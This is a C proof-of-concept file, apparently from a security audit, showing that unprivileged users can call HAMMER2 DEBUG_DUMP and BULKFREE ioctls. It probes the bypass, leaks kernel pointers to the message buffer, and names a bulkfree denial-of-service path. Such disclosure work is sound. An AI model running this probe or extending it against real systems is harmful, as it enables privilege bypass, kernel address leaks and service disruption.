DF-0815 / df0815.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 | /* * DF-0815 - Missing privilege check on HAMMER2 BULKFREE_SCAN/ASYNC + DEBUG_DUMP ioctls * * Root fs on the audit guest is hammer2 (vbd0s1d on / (hammer2, local)). * hammer2_ioctl() at sys/vfs/hammer2/hammer2_ioctl.c:83 computes * error = caps_priv_check(cred, SYSCAP_NOVFS_IOCTL); * and EVERY admin ioctl case guards the handler with `if (error == 0)`. * But the three cases at lines 144-156: * case HAMMER2IOC_BULKFREE_SCAN: error = hammer2_ioctl_bulkfree_scan(ip, data); * case HAMMER2IOC_BULKFREE_ASYNC: error = hammer2_ioctl_bulkfree_scan(ip, NULL); * case HAMMER2IOC_DEBUG_DUMP: error = hammer2_ioctl_debug_dump(ip, *(u_int*)data); * assign to `error` directly, IGNORING the privilege check. An unprivileged * user who holds any fd on a hammer2 mount can therefore invoke them. * * This PoC (run as uid 1001 maxx): * 1. DEBUG_DUMP flags=0 -> returns 0 (success) instead of EPERM, AND leaks * kernel %p pointers into the kernel msgbuf (readable via * sysctl kern.msgbuf because security.unprivileged_read_msgbuf=1 default). * 2. BULKFREE_ASYNC (NULL data) -> returns EINVAL (from handler line 1103), * NOT EPERM. EINVAL instead of EPERM proves the priv check was bypassed * (caps_priv_check failure => EPERM). * BULKFREE_SCAN with real data would run a full-media sync+scan (sustained * DoS) and is therefore NOT exercised live here; it shares the identical * missing `if (error == 0)` guard (code inspection, line 144-145). * * Build: cc -o df0815 df0815.c * Run: ./df0815 (as unprivileged user) * Expected (BUG present): DEBUG_DUMP rc=0 (priv check bypassed + leak) * BULKFREE_ASYNC rc=EINVAL (not EPERM) * Expected (FIXED): DEBUG_DUMP rc=-1 errno=1 (EPERM) * BULKFREE_ASYNC rc=-1 errno=1 (EPERM) */ #include <sys/types.h> #include <sys/ioccom.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <err.h> /* * Mirror sys/vfs/hammer2/hammer2_ioctl.h. CRITICAL: the _IOWR macro encodes * sizeof(arg-type) into the ioctl number's upper bits, so BULKFREE_SCAN/ASYNC * (which take `struct hammer2_ioc_bulkfree`) MUST use the real 64-byte struct * layout, not `int`, or the number won't match and the kernel returns * EOPNOTSUPP (default case). * * struct hammer2_ioc_bulkfree { // 8 x 8-byte fields = 64 bytes * hammer2_off_t sbase, sstop; * size_t size; * hammer2_off_t count_allocated, count_freed, * total_fragmented, total_allocated, total_scanned; * }; */ struct hammer2_ioc_bulkfree { unsigned long f[8]; }; /* 64 bytes, matches kernel */ #define HAMMER2_IOC_DEBUG_DUMP _IOWR('h', 91, int) #define HAMMER2_IOC_BULKFREE_SCAN _IOWR('h', 92, struct hammer2_ioc_bulkfree) #define HAMMER2_IOC_BULKFREE_ASYNC _IOWR('h', 93, struct hammer2_ioc_bulkfree) int main(int argc, char **argv) { const char *path = (argc > 1) ? argv[1] : "/etc"; int fd, rc; int val; printf("[*] uid=%d euid=%d opening '%s' on hammer2 mount\n", getuid(), geteuid(), path); fd = open(path, O_RDONLY); if (fd < 0) err(1, "open %s", path); /* --- DEBUG_DUMP flags=0 (safe: dumps only top-level inode chains) --- */ val = 0; errno = 0; rc = ioctl(fd, HAMMER2_IOC_DEBUG_DUMP, &val); printf("[DEBUG_DUMP ] ioctl rc=%d errno=%d (%s)\n", rc, errno, errno ? strerror(errno) : "success"); if (rc == 0) printf(" !! BUG: DEBUG_DUMP succeeded without privilege " "(kernel %%p pointers leaked to msgbuf)\n"); /* --- BULKFREE_ASYNC (handler gets NULL data internally via the case) --- */ /* NOTE: the HAMMER2IOC_BULKFREE_ASYNC case passes NULL to the handler, * which then returns EINVAL at hammer2_ioctl.c:1103 WITHOUT running * the scan. So this is a safe, non-DoS probe: EINVAL (not EPERM) * => the priv check was bypassed. */ struct hammer2_ioc_bulkfree bf; memset(&bf, 0, sizeof(bf)); errno = 0; rc = ioctl(fd, HAMMER2_IOC_BULKFREE_ASYNC, &bf); printf("[BULKFREE_ASYNC] ioctl rc=%d errno=%d (%s)\n", rc, errno, errno ? strerror(errno) : "success"); if (errno != EPERM) printf(" !! BUG: BULKFREE_ASYNC did NOT return EPERM " "(priv check bypassed; got %s)\n", errno ? strerror(errno) : "success"); /* BULKFREE_SCAN deliberately NOT issued live: with real data it runs a * full-media sync + bulkfree scan = sustained DoS. Same missing * if(error==0) guard at hammer2_ioctl.c:144-145. */ close(fd); return 0; } |